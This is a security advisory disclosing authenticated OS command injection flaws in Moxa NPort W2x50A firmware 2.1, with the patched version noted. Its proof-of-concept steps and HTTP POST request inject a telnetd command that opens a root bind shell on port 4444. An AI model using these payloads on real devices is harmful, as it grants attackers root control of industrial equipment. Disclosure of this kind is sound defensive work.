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Moxa NPort W2x50A 2.1 OS Command Injection

Moxa NPort W2x50A 2.1 OS Command Injection
Posted Nov 29, 2018
Authored by Maxim Khazov

Moxa NPort W2x50A products with firmware version 2.1 Build_17112017 or lower are vulnerable to several authenticated OS command injection vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2017-12120, CVE-2018-19660
MD5 | 4436fd2c5b6a885f437d69ae209cde47

Moxa NPort W2x50A 2.1 OS Command Injection

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Moxa NPort W2x50A products with firmware version 2.1 Build_17112017 or lower are vulnerable to several authenticated OS Command Injection vulnerabilities:

#1 Authenticated OS Command Injection in web server ping functionality

Reserverd CVE ID: CVE-2018-19659

A specially crafted HTTP POST request to /goform/net_WebPingGetValue can result in running OS commands as the root user. Exploitation required authentication. This is similar to CVE-2017-12120.

Proof-of-concept:
1. Authenticate to Moxa NPort W2x50A device.
2. Go to Main menu a System Management a Maintenance a Ping a Destination
3. Enter ;telnetd -l/bin/sh -p4444&;. in 'Destination' field
4. Connect to opened bind shell: nc $IP_ADDRESS 4444

#2 Authenticated OS Command Injection in web server wlan profile properties functionality

Reserverd CVE ID: CVE-2018-19660

A specially crafted HTTP POST request to /goform/net_WebSettingProfileSecurity can result in running OS commands as the root user. Exploitation required authentication.

Proof-of-concept (sample HTTP request opening bind shell on port 4444):

POST /goform/webSettingProfileSecurity?profileID=1 HTTP/1.1
Host: {IP:PORT}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SessionID={YOURSESSIONID}
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 309

Authentication=3&EAP_method=1&Username= ;telnetd -l/bin/sh -p4444&;

These vulnerabilities were fixed in the firmware version 2.2 Build_18082311.
https://www.moxa.com/support/download.aspx?type=support&id=14781


Best regards,
Maksim Khazov


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